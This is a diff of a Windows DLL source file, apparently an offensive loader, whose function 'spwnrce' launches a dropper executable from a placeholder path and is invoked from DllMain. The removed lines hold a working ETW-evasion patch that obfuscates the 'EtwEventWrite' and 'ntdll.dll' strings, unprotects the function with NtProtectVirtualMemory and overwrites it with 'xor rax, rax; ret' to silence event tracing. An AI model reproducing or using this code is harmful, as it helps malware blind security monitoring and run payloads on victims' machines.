|
|
@@ -1,32 +1,9 @@
|
|
|
#include <windows.h>
|
|
|
|
|
|
-typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
|
|
|
-tNtVirtual oNtVirtual;
|
|
|
|
|
|
void spwnrce()
|
|
|
{
|
|
|
- unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret
|
|
|
-
|
|
|
- ULONG oldprotect = 0;
|
|
|
- size_t size = sizeof(patch);
|
|
|
-
|
|
|
- HANDLE hCurrentProc = GetCurrentProcess();
|
|
|
-
|
|
|
- unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
|
|
|
-
|
|
|
- unsigned char sNtdll[] = { 'n','t','d','l','l','.','d','l','l',0x0};
|
|
|
-
|
|
|
- void* pEventWrite = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), (LPCSTR)sEtwEventWrite);
|
|
|
- FARPROC farProc = GetProcAddress(GetModuleHandle((LPCSTR)sNtdll), "NtProtectVirtualMemory");
|
|
|
- oNtVirtual = (tNtVirtual)farProc;
|
|
|
- oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
|
|
|
-
|
|
|
- memcpy(pEventWrite, patch, size / sizeof(patch[0]));
|
|
|
-
|
|
|
- oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
|
|
|
- FlushInstructionCache(hCurrentProc, pEventWrite, size);
|
|
|
-
|
|
|
- WinExec("C:\\PATH\\TO\\DROPPER\\dropper.exe",1);
|
|
|
+ WinExec("C:\\PATH\\TO\\DROPPER\\dropper.exe",1);
|
|
|
}
|
|
|
|
|
|
BOOL APIENTRY DllMain( HMODULE hModule,
|